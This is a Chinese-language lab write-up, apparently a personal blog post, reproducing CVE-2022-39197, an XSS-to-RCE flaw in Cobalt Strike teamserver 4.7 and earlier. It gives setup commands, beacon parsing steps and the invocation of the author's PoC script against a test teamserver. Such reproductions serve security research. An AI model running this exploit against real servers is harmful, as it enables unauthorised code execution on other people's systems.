CVE-2022-39197(CobaltStrike XSS <=4.7)漏洞复现

时间:2022-09-24 00:47:12

最新文章更新见个人博客

根据9.20日CobaltStrike官方发布的最新4.7.1版本的更新日志中介绍,<=4.7的teamserver版本存在XSS漏洞,从而可以造成RCE远程代码执行

一位名为“Beichendream”的独立研究人员联系我们,告知我们他们在团队服务器中发现的一个 XSS 漏洞。这将允许攻击者在 Beacon 配置中设置格式错误的用户名,从而允许他们远程执行代码RCE。


复现过程

根据漏洞原理,类似之前使用的cs上线器,稍微修改一下上线的payload即可。

测试环境

服务端:Ubuntu20.04+JDK11+CS4.3 (IP: 172.16.12.13)

客户端:M2 macOS Monterey 12.5 + JDK17 (IP: 172.16.12.2)

用到的工具:CobaltStrikeParserCVE-2022-39197 POC


环境搭建

# ubuntu
chmod +x teamserver
./teamserver 172.16.12.13 haha123
# macOS--提供图片加载服务,如果联网的话可以省略该步,使用任意在线图片的url
brew install node@14
npm i --global serve
serve		# 用serve在图片路径下开启服务, 此处图片文件url为:http://172.16.12.2:3000/logo.png

CVE-2022-39197(CobaltStrike XSS <=4.7)漏洞复现

CS中创建一个listener监听器

CVE-2022-39197(CobaltStrike XSS <=4.7)漏洞复现

然后生成一个package木马,经测试,是否勾选x64(即生成的32位和64位均可上线)不影响结果

CVE-2022-39197(CobaltStrike XSS <=4.7)漏洞复现

POC使用

首先对这个生成的beacon进行分析,我们这里使用CobaltStrikeParser这个工具。

python3 parse_beacon_config.py beacon4.3_x64.exe --json

重点关注如下几个点

CVE-2022-39197(CobaltStrike XSS <=4.7)漏洞复现

PortC2ServerHttpPostUri进行拼接,这里变成:http://172.16.12.13:8080/visit.js/submit.php,记录下来

PublicKey复制到一个txt文件中,注意去除前后的空格

使用我写的POC(编写不易,麻烦加个star吧,后期会把上述分析功能集成,一站式实现)

CVE-2022-39197(CobaltStrike XSS <=4.7)漏洞复现

python3 cve-2022-39197-poc.py -i http://172.16.12.2:3000/logo.png -u http://172.16.12.13:8080/visit.js/submit.php -k key.txt

CVE-2022-39197(CobaltStrike XSS <=4.7)漏洞复现